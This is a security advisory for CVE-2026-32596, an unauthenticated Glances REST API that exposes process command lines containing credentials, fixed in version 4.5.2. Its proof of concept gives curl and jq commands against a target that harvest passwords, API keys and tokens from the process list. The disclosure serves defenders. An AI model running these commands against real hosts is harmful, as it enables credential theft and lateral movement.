High

Glances exposes the REST API without authentication

  • Disclosed: 16.03.2026
  • Updated: 11.10.2026 14:17

Summary

Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details

Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code:

  • File: glances/outputs/glances_restful_api.py, lines 259-272
python
if self.args.password:
    self._password = GlancesPassword(username=args.username, config=config)
    if JWT_AVAILABLE:
        jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
        jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
        logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
    else:
        self._jwt_handler = None
        logger.info("JWT authentication not available (python-jose not installed)")
else:
    self._password = None  # NO AUTHENTICATION BY DEFAULT
    self._jwt_handler = None
  • File: glances/outputs/glances_restful_api.py, lines 477-480
python
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY
  • File: glances/outputs/glances_restful_api.py, lines 98-99
python
self.bind_address = args.bind_address or "0.0.0.0"  # BINDS TO ALL INTERFACES
self.port = args.port or 61208
  • File: glances/plugins/processlist/__init__.py, lines 127-140
python
enable_stats = [
    'cpu_percent',
    'memory_percent',
    'memory_info',
    'pid',
    'username',
    'cpu_times',
    'num_threads',
    'nice',
    'status',
    'io_counters',
    'cpu_num',
    'cmdline',  # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]

PoC

  1. Start Glances in default web server mode:
bash
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
  1. Access API without authentication from any network client:
bash
curl -s http://TARGET:61208/api/4/system | jq .
<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />
  1. Extract system information:
bash
curl -s http://TARGET:61208/api/4/all > system_dump.json
<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />
  1. Harvest credentials from process list:
bash
curl -s http://TARGET:61208/api/4/processlist | \
  jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | 
  {pid, username, process: .name, cmdline}'
  1. Example credential exposure:
js
{
  "pid": 4059,
  "username": "root",
  "process": "python3",
  "cmdline": [
    "python3",
    "-c",
    "import time; time.sleep(3600)",
    "--api-key=sk-super-secret-token-12345",
    "--password=MySecretPassword123",
    "--db-pass=admin123"
  ]
}

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) glances < 4.5.2 4.5.2

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-200
Platform
Python (PyPI)
Package
glances
Disclosed
16.03.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2166 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wvxv-4j8q-4wjq - CC BY 4.0

Vulnerability history: glances

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (26) in the archive
Total entries
26
First → latest
07.2021 08.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 19
  • Medium 6

Disclosures per year

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 25
Severity:
  1. Glances exposes the REST API without authentication this entry
    High CVE-2026-32596 < 4.5.2 4.5.2
  2. High CVE-2026-30928 < 4.5.1 4.5.1

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